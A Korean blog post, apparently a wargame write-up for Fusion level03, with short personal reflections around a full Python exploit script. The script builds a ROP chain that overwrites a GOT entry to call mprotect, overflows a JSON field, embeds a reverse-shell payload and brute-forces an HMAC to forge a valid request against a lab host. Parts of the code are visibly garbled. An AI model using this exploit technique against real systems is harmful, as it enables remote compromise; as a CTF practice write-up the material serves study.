본문 바로가기

Wargames/fusion

fusion level03


완전 어려웠다. 진짜 짱짱 어려웠다. 취약점 자체도 예상하지 못한거였는데 익스플로잇 하는 거도 어려웠다.. 마지막에는 풀이도 살짝 참고해서 풀어서 좀 아쉬웠다ㅠㅠㅠ 레벨4는 절대 풀이 꼭 안보고 풀어봐야겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from SunKn0wn import *
import hmac
import itertools
 
= remote('192.168.179.151'20003)
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
gadget = [0x8048b240x80494700x8049c500x8049690,    # listen_plt(overwirtten by mprotect)
          0x80481790x80495910x8049c500x8049690,    # pppr
          0x80481580x80488b40x8048b910x8049ca2,     # 0x09335000(allocated heap)
          0x80481580x80488fc0x80481580x8048158,     # 0x1000
          0x80491e00x80481d40x80481d40x80481d4,     # 7
          0x80494300x80494600x8048b910x8049ca2]    # allocated heap(0x093357d0)
memcpy_plt = 0x08048E60
listen_got = 0x0804BD24
popebpret = 0x804a26f
leaveret = 0x8049431
offset = 0xFFFFAF70
pppr = 0x804a26d
bss = 0x0804BDC0
pop_eax = 0x08049b4f
pop_ebx = 0x08049a4f
add_ebx = 0x080493fe
 
token = r.recv(1024)[1:-2]
 
################ overwrite listen to mprotect ################
attack = ''
attack += p32(pop_eax)
attack += p32(offset)
attack += 'A' * 0x5c
attack += p32(pop_ebx)
attack += p32((listen_got - 0x5d5b04c4) & 0xffffffff)
attack += p32(add_ebx)
 
################ call listen(mprotect) payload ################
for i in range(len(gadget)):
    attack += p32(memcpy_plt)
    attack += p32(pppr)
    attack += p32(bss + i)
    attack += p32(gadget[i])
    attack += "\\\\u0100\\\\u0000"
attack += p32(popebpret)
attack += p32(bss - 4)
attack += p32(leaveret)
 
payload = 'A' * 127
payload += '\\\\u4141' 
payload += 'A' * 31
payload += attack
 
payload2 = token + '\n'
payload2 += '{"title":"' + payload + '", '
payload2 += '"contents":"' + ReverseShell32 + '", '
payload2 += '"collision":"5unKn0wn'
################ making validate request ################
for col in itertools.product(table, repeat=4):
    send = payload2 + ''.join(col) + '"}'
    hash = hmac.new(token, send, hashlib.sha1)
    if hash.hexdigest()[:4== "0000":
        print "[*]Find! : " + send
        print "[*]hash : " + hash.hexdigest()
        break
 
r.send(send)
cs

ROP 가젯 이용해서 arbitrary write를 해 본적은 처음이어서 더 신기했다. 그리고 나는 아직 ROP에 대해서 확실하게 알고 있지 않았었던 거라는 것을 깨달았다. NULL 처리해 주는 거랑 마지막으로 mprotect는 0x1000단위로 떨어지는 메모리 단위로 인자를 넣어줘야 되는 것 때문에 고생 좀 했다.. 레벨 4가 근심걱정이 가득하다.

'Wargames > fusion' 카테고리의 다른 글

fusion level04  (0) 2016.04.28
fusion level02  (0) 2016.04.20
fusion level01  (0) 2016.04.15
fusion level00  (2) 2016.04.15